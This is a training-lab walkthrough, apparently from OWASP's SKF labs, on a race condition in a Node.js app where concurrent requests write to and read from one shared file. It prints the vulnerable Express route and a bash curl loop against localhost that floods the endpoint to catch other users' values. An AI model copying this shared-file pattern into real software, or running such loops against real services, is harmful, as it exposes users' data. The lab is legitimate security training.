NodeJS - Race Condition File-Write

Running the app nodeJs
First make sure nodejs and npm are installed on your host machine. After installation, we go to the folder of the lab we want to practice. "i.e /skf-labs/XSS, /skf-labs/RFI/" and run the following commands:
1
$ npm install
Copied!
1
$ npm start
Copied!
Now that the app is running let's go hacking!
Reconnaissance
Step1
We can download a file from the server by doing a GET request to the server.
Let's try:
Once we download the file we can see whatever we add to the URL is being written in a file called shared-file.
Step 2
As the application suggests, there is a Race condition vulnerability in this app, let's try to find it.
If we look at the code we see that the application gets the query parameter, writes to a file called shared-file.txt, then opens the file and send it back as a response.
1
app.get("/:value", (req, res) => {
2
  fs.writeFileSync("shared-file.txt", req.params.value);
3
  fs.open("shared-file.txt", "r", (err, fd) => {
4
    let file = fs.readFileSync("shared-file.txt", "utf8");
5
    res.setHeader("Content-Type", "text/html", "charset=utf-8");
6
    res.setHeader(
7
      "Content-Disposition",
8
      "attachment; filename=shared-file.txt"
9
    );
10
    res.sendFile(__dirname + "/shared-file.txt");
11
  });
12
});
Copied!
Step 3
How can we exploit this?
We have a very small window between the writing of the file:
1
fs.writeFileSync("shared-file.txt", req.params.value);
Copied!
and the response:
1
fs.open("shared-file.txt", "r", (err, fd) => {
2
  let file = fs.readFileSync("shared-file.txt", "utf8");
3
  res.setHeader("Content-Type", "text/html", "charset=utf-8");
4
  res.setHeader("Content-Disposition", "attachment; filename=shared-file.txt");
5
  res.sendFile(__dirname + "/shared-file.txt");
6
});
Copied!
Maybe if we have multiple users on this application at the same time we might be able to intercept someone else's query.
Exploitation
In order to do that we must send requests with high frequency.
Doing it manually is practically impossible, so we create a script that does that for us:
1
#!/bin/bash
2
​
3
while true; do
4
​
5
	curl -i -s -k  -X #x27;GET' -H #x27;Host: localhost:5000' #x27;http://localhost:5000/111' | grep "111"
6
​
7
done
Copied!
and in the meantime we will send a couple requests from Burp:
If we look in the logs we will see:
Additional sources
https://wiki.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)

Python - Race Condition File-Write

Java - Race Condition File-Write

Last modified 2mo ago

Export as PDF

Copy link

Edit on GitHub

Contents

Running the app nodeJs

Reconnaissance

Exploitation

Additional sources